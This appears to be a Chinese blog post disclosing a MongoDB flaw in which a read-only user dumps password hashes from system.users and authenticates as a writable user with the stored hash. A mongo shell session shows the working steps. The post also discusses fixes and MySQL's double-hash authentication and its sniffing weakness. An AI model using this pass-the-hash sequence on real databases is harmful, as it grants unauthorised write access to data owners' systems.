MongoDB 权限提升安全漏洞

mongodb 可以通过 readOnly 参数建立只读和可以读写的用户。但是只读用户也可以访问 db.system.user,所以可以拿到所有用户的密码的 hash 值。按照协议,只需要传递这个 hash ,而不用知道密码就能通过认证。所以,只读用户就可以由此获取可写的权限。

如:

> db.system.users.find()
{ "_id" : ObjectId("4fd068ae34ae311cd063f9b2"), "user" : "sa", "readOnly" : false, "pwd" : "84c689ded211fb631fd5f5dedc5d4539" }
{ "_id" : ObjectId("4fd07496cf5f726c2428ac3a"), "user" : "ro", "readOnly" : true, "pwd" : "d8883d4475561e209dda05a54a98c8f6" }
> db.$cmd.findOne({getnonce:1})
{ "nonce" : "9892be9572e9851e", "ok" : 1 }
> db.runCommand({ authenticate : 1, user : "sa", nonce : "9892be9572e9851e", key : hex_md5("9892be9572e9851e"+"sa"+"84c689ded211fb631fd5f5dedc5d4539") })
{ "ok" : 1 }

这样就获取了可写的用户的权限。

已经提交 bug https://jira.mongodb.org/browse/SERVER-6031 据说会在 2.1.1 中修复。

这种漏洞属于协议设计方面的漏洞。关键在于使用数据库中保存的 hash 串就能完成认证,而无须知道密码。如果保存的是经过两次 hash,就能避免这样的问题。mysql 在 4.0 – 4.1 在认证上的修改也是如此。mongodb 咋还掉进前人掉过的坑呢。或者禁止只读用户访问 system.users 也行。

mysql 的认证方式是这样的:

服务器端储存了 sha1(sha1(password)) ,也就是 sha1(hash1)。

服务端给客户端发一个随机串 scramble,客户端计算 hash1 = sha1(password);hash2 = sha1(scramble + sha1(hash1))。然后发送 token = hash1 xor hash2 到服务器端。

服务器端计算 hash1′ = token xor sha1(scramble + mysql.user.password)) ,然后计算 sha1(hash1′) ,和储存的 sha1(hash1) 比较,如果相同就通过验证。

这样即使获取了存放的 hash 值也无法构造出请求。不过这种方式关键点在 hash1,如果能在获取存放的 hash 值的同时,能监听到通信的话,还是可以通过获取一次请求中的 scramble 和 token 来计算出 hash1 。之后就可以通过认证了。

Leave a comment